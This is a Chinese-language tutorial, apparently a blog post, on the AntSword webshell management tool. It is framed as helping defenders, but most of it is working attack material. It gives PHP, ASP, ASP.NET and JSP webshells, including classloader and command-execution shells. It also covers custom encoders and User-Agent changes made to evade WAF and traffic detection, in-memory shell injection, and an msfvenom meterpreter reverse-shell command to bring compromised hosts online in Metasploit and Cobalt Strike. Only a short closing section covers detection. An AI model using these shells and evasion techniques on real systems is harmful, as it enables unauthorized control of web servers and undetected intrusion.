网络安全实战攻防演练中,只有了解攻击方的攻击思路和运用武器,防守方才能有效应对。
以WebShell 为例,由于企业对外提供服务的应用通常以Web形式呈现,因此Web站点经常成为攻击者的攻击目标。攻击者找到Web站点可利用的漏洞后,通常会在Web站点植入WebShell程序,从而实现对目标站点的控制。
为了躲避防守方的检测,攻击方加密WebShell成为常态,由于流量加密,传统的WAF、WebIDS设备难以检测,给防守方监控带来巨大的挑战。因此,防守方需要了解攻击方使用的加密武器,才能找到相应的破解方式。
中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。
中国蚁剑推崇模块化的开发思想,遵循开源,就要开得漂亮的原则, 致力于为不同层次的人群提供最简单易懂、方便直接的代码展示及 其修改说明,努力让大家可以一起为这个项目贡献出力所能及的点滴,让这款工具真正能让大家用得顺心、舒适,让它能为大家施展出最人性化最适合你的能力!
通俗的讲:中国蚁剑与中国菜刀相比,界面更加美观、功能更加齐全,并且自定义的程度更高且开放源代码。
服务端
中国蚁剑的服务端会根据不同编码器有所变化,但还是从最基础的开始分析:
eval($_POST["Sp4ar"]);?> //pwd表示连接密码,可以随意更换
编辑/新增记录的时候可以自定义头部字段,选择编/解码器以及一些其他设置。中国蚁剑默认的UA头是antSword/v版本号,目前已经被很多安全产品标记,所以在配置的时候通常会更改,改UA头的方式有两种:一、添加Shell的时候在请求信息中添加User-Agent字段覆盖掉原始的值,二、在modules/request.js修改USER_AGENT的值。第一种方法只针对当前添加的记录生效,第二种方法针对所有的shell都生效。
中国蚁剑的编/解码器可以对请求/响应侧的流量进行编/解码以绕过流量检测,在最新版的中国蚁剑中(v2.1.11)默认的编码器有五个,解码器有三个。
(1)编码器
编码器是在发送数据到服务端之前对payload进行相关处理,目的是为了绕过请求侧的流量检测,默认的编码器:
(2)解码器
解码器主要是对接收到的数据进相关处理,目的是为了绕过响应侧的流量检测,默认的解码器:
通信流量
(1)请求侧
针对不同编码器请求侧的流量有所不同
base64发送的数据如下:

chr:

chr16:

rot13:

rsa:

(2)响应侧
采用不同解码器响应方向的数据也不同。
default:

base64:

rot13:

蚁剑下载地址:
GitHub - AntSwordProject/AntSword-Loader: AntSword 加载器
蚁剑安装
建议安装环境:虚拟机Win 7 关闭防火墙状态下,下载及安装。
解压文件AntSword-v2.0.3-windows-x64.zip,antSword-master.zip。

- AntSword-v2.0.1为加载器
- antSword-master为蚁剑源码
双击AntSword中的AntSword.exe。

点击初始化。


完成。

上传WebShell到WEB服务器
- PHP:
- @eval($_POST['123']);?>
- ASP:
- <%eval request("123")%>
- ASP.NET:
- <%@ Page Language="Jscript"%><%eval(Request.Item["z"],"unsafe");%>
使用蚁剑进行PHP WebShell连接
在自己编写php一句话木马时,经常用到eval和assert这两个关键。需要注意的是:
eval是一个语言构造器,可以传入多个参数,但它本身不能作为变量进行传递。
assert是一个函数,本身可以作为变量进行传递,但只能传入一个参数。
而这个区别直接影响着蚁剑的使用,当我们的一句话木马使用assert函数时,如经过rot13编码后的webshell为:
- $c=str_rot13('nffreg');
- $c($_REQUEST['x']);
- ?>
蚁剑则需要设置编码方式为base64才可以正常连接。
当我们的一句话木马使用eval语言构造器时,蚁剑就可直接连接。
- $a=array($_REQUEST['x']=>"3");
- $b=array_keys($a)[0];
- eval($b);
- ?>
在面板处,单击鼠标右键,点击添加数据。

输入URL地址,也就是小马的完整URL,还有POST中的密码。


点击添加,连接成功。

使用蚁剑进行JSP WebShell连接
- <%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %>
-
- <%
- try {
- class Myloader extends ClassLoader {
- Myloader(ClassLoader c) {
- super(c);
- }
- public Class get(byte[] b) {
- return super.defineClass(b, 0, b.length);
- }
- }
- String classStr = request.getParameter("pass");
- Myloader myloader = new Myloader(this.getClass().getClassLoader());
- byte[] bytes = java.util.Base64.getDecoder().decode(classStr);
- Class aClass = myloader.get(bytes);
- Object o = aClass.newInstance();
- boolean equals = o.equals(pageContext);
- out.println(equals);
- } catch (Exception e) {
- out.println(e);
- }
- %>

在设置选项里还增加了绕过WAF的一些技巧。如:垃圾数据填充、分块传输等。

1. 分块传输
在上传文件的时候开启分块传输可以上传大文件。
2. 虚拟终端操作
aslistcmd 列出可使用的命令解释器。
ascmd c:/windows/system32/windowspowershell/v1.0/powershell.exe 指定powershell作为解释器。


3.文件管理

4.内存马
自定义注册冰蝎、蚁剑、哥斯拉、neo-reGeorg内存马。

从而实现一种蚁剑和冰蝎的丝滑联动。

neo-reGeorg同样可以使用,默认密码:asexploits

当不需要使用时即可在内存马管理模块处指定卸载。

aspx 内存马同样支持,要注意的是在目录后面加一些随机字符串,用.aspx指定的后缀才能解析。(谨慎使用aspx内存马)

注入冰蝎内存马:

5.shellcode加载器
一种利用第三方库JNA进行ShellCode的加载JNALoader,只需要X86类型的ShellCode即可。
一种模拟java agent注入过程来实现Shellcode的加载,免杀效果较好。
以JNALoader为例:

先利用Jar加载器将 ShellCodeLoader.jar 上传到目标服务器目录并exploit加载。
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.211.55.26 LPORT=8888 PrependMigrate=true PrependMigrateProc=svchost.exe -f hex

然后使用MSF或者CS生成x86类型的shellcode,并开启监听。

在ShellCode加载器的模块中输入hex或者java格式的shellcode,且不能有多余换行跟空格,点击exploit。

metasploit 可正常上线。

cobaltstrike 可正常上线。
6.编码器
除了常见的base64编码方式,还有rot13、chr16 等编码方式。

以chr16编码,以rot13解码。但这种方式在以http协议传输时依然存在eval关键字且非常容易被WAF拦截。
至少在压缩后base64编码就有一定绕过的效果。
比如:
- 'use strict';
-
- var zlib = require('zlib');
- /*
- * @param {String} pwd 连接密码
- * @param {Array} data 编码器处理前的 payload 数组
- * @return {Array} data 编码器处理后的 payload 数组
- */
- module.exports = (pwd, data) => {
- // ########## 请在下方编写你自己的代码 ###################
- let randomID = `_0x${Math.random().toString(16).substr(2)}`;
- data[randomID] = zlib.deflateRawSync(data['_']).toString('base64');
-
-
- //
- data[pwd] = zlib.deflateRawSync(`@eval(@gzinflate(base64_decode($_POST[${randomID}])));`).toString('base64');
-
- delete data['_'];
- return data;
- }
将assert关键字也进行base64编码。对于的webshell为:
@$c=str_rot13('nffreg');$c(@gzinflate(base64_decode($_POST['x'])));?>
这时传输的数据就不存在eval关键字。

且数据内容base64无法正常解码。
默认的webshell直接将字节码进行了base64解码。所以手动解码的时候存在java敏感字符。

对于jsp语言的自定义编码器,github 提供了:https://github.com/AntSwordProject/AwesomeScript/blob/master/jsp/jsp_defineclass_zlib_deflated_script.jsp
将body体先压缩再base64编码。
所以对应的webshell也应该先base64解码再解压缩。
- <%@page import="java.util.*,java.io.*,java.util.zip.*"%>
- <%!
-
- public byte[] decompress(byte[] data) {
- byte[] output = new byte[0];
- Inflater dc = new Inflater();
- dc.reset();
- dc.setInput(data);
- ByteArrayOutputStream o = new ByteArrayOutputStream(data.length);
- try {
- byte[] buf = new byte[1024];
- while (!dc.finished()) {
- int i = dc.inflate(buf);
- o.write(buf, 0, i);
- }
- output = o.toByteArray();
- } catch (Exception e) {
- output = data;
- e.printStackTrace();
- } finally {
- try {
- o.close();
- } catch (IOException e) {
- e.printStackTrace();
- }
- }
- dc.end();
- return output;
- }
-
- %>
-
- <%
- try {
- class Myloader extends ClassLoader {
- Myloader(ClassLoader c) {
- super(c);
- }
- public Class get(byte[] b) {
- return super.defineClass(b, 0, b.length);
- }
- }
- String classStr = request.getParameter("pass");
- Myloader myloader = new Myloader(this.getClass().getClassLoader());
- byte[] bytes = java.util.Base64.getDecoder().decode(classStr);
- Class aClass = myloader.get(decompress(bytes));
- Object o = aClass.newInstance();
- boolean equals = o.equals(pageContext);
- out.println(equals);
- } catch (Exception e) {
- out.println(e);
- }
- %>
经过编码器处理后base64解码就不再有java敏感字符,从而规避流量检测。
对应aspx语言的网站,蚁剑没有提供更好的编码方式。但github有师傅写出了对于aspx的AES加密编码解码器。
地址: https://github.com/youncyb/AS_ASPX_AES_ENCODE
下载脚本,覆盖 antSword\antSword-2.1.14\source\core 下的aspx脚本,将内置在编码解码中。

对应的webshell为:
- <%@ Page Language="Jscript"%>
- <%
- var utf8 = new ActiveXObject("System.Text.UTF8Encoding");
- var b64Enc = new ActiveXObject("System.Security.Cryptography.ToBase64Transform");
- var b64Dec = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
- var aes = new ActiveXObject("System.Security.Cryptography.RijndaelManaged");
- aes.Padding = 3;
- aes.KeySize = 128;
- function B64Decode(b64Str){
- var bytes = utf8.GetBytes(b64Str);
- var decoded_bytes = b64Dec.TransformFinalBlock((bytes), 0, bytes.length);
- return decoded_bytes;
- }
- function Decrypt(cipherText, aesKey){
- var aesKeyBytes = utf8.GetBytes(aesKey);
- aes.IV = aesKeyBytes;
- var cipherBytes = B64Decode(cipherText);
- var aesDec = aes.CreateDecryptor((aesKeyBytes), (aes.IV));
- var plainBytes = aesDec.TransformFinalBlock(cipherBytes, 0, cipherBytes.length);
- var res = utf8.GetString(plainBytes);
- return res;
- }
- var data = Request.Item["ant"];
- var aesKey = data.substring(0,24);
- aesKey = utf8.GetString(B64Decode(aesKey));
- var encrypt_res = data.substring(24);
- var decrypted = Decrypt(encrypt_res, aesKey);
- eval(decrypted,"unsafe");
- %>
抓取数据包随机变为:

7.as_bypass_php_disable_functions插件
该插件专门用来突破 disable_functions 执行系统命令,绕过 Open_basedir 等安全机制
GenShell 插件
该插件用来生成webshell,使用效果也不错。
连接类型
蚁剑还有几个不太常用的连接类型,这里也顺便熟悉一下。
JSP、JS 类型
基于 js 引擎实现的 jsp 一句话类型。
对应的webshell为:
- <%
- try {
- javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("js");
- engine.put("request", request);
- engine.put("response", response);
- engine.eval(request.getParameter("ant"));
- } catch (Exception e) {
- out.println("Error:// "+e.toString());
- }
- %>
CUSTORM 类型
用于数据库的JSP自定义脚本。
对应的webshell为
https://github.com/AntSwordProject/AwesomeScript/blob/master/jsp/jsp_custom_script_for_mysql.jsp

也可以使用github里的编码器来进一步规避特征。
CMDLINUX 类型
该类型是2.1.14版本新增的类型。基于命令执行的一句话类型,仅支持 Linux 环境。
如php的命令执行一句话:
system($_POST['pass']);?>
如jsp的命令执行一句话:
- <%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>
- <%@ page import="java.io.*"%>
-
- <%
- out.print(System.getProperty("os.name").toLowerCase());
- String cmd = request.getParameter("cmd");
- if(cmd != null){
- Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",cmd});
- InputStream input = p.getInputStream();
- InputStreamReader ins = new InputStreamReader(input, "GBK");
- BufferedReader br = new BufferedReader(ins);
- out.print("
"
); - String line;
- while((line = br.readLine()) != null) {
- out.println(line);
- }
- out.print("");
- br.close();
- ins.close();
- input.close();
- p.getOutputStream().close();
- }
- %>

1. 文件检测:通过静态文件的方式进行WebShell查杀
2. 流量检测:针对不同的编码器流量特征不相同。
针对前面1.2.1中的前五种编码器,可以检测关键字。
针对rsa编码器:由于数据完全加密所以无法使用关键字检测。仔细观察加密之后的数据可以知道:在长度足够的情况下,每相隔固定的长度就会出现一个|字符,分析编码器可知,加密时是先将原始的payload进行分段然后对每一个段进行加密并以base64的格式输出。在rsa加密算法中密文长度等于密钥长度,明文长度不超过密钥长度。由于payload长度比密文长很多所以在加密是必须切割,但是无论怎么切割加密之后的数据长度都是都是固定的,所以在检测的时候可以根据这一特性来进行检测。由于输出结果是base64编码的所以每一个段的数据的字符都是在a-zA-Z0-9+=/之间,每一个段之间都有一个分隔符,当密钥长度是1024位的时候,每个段的明文长度是172,该编码器默认生成的长度是1024且在前端无法更改,但是可以通过替换antData目录下的key_rsa和key_rsa.pub两个文件来更换密钥长度,这两个文件可以通过openssl生成。
生成方式如下:
1.生成rsa私钥
openssl genrsa -out key_rsa 2048
2.生成公钥
openssl rsa -in key_rsa -pubout -out key_rsa.pub
然后分别替换key_rsa和key_rsa.pub即可。替换之后可以发现每个分段的长度明显增加从之前的172变成344,当密钥长度增加到3072时,分段长度增加到512,同时加密所需时间明显增加。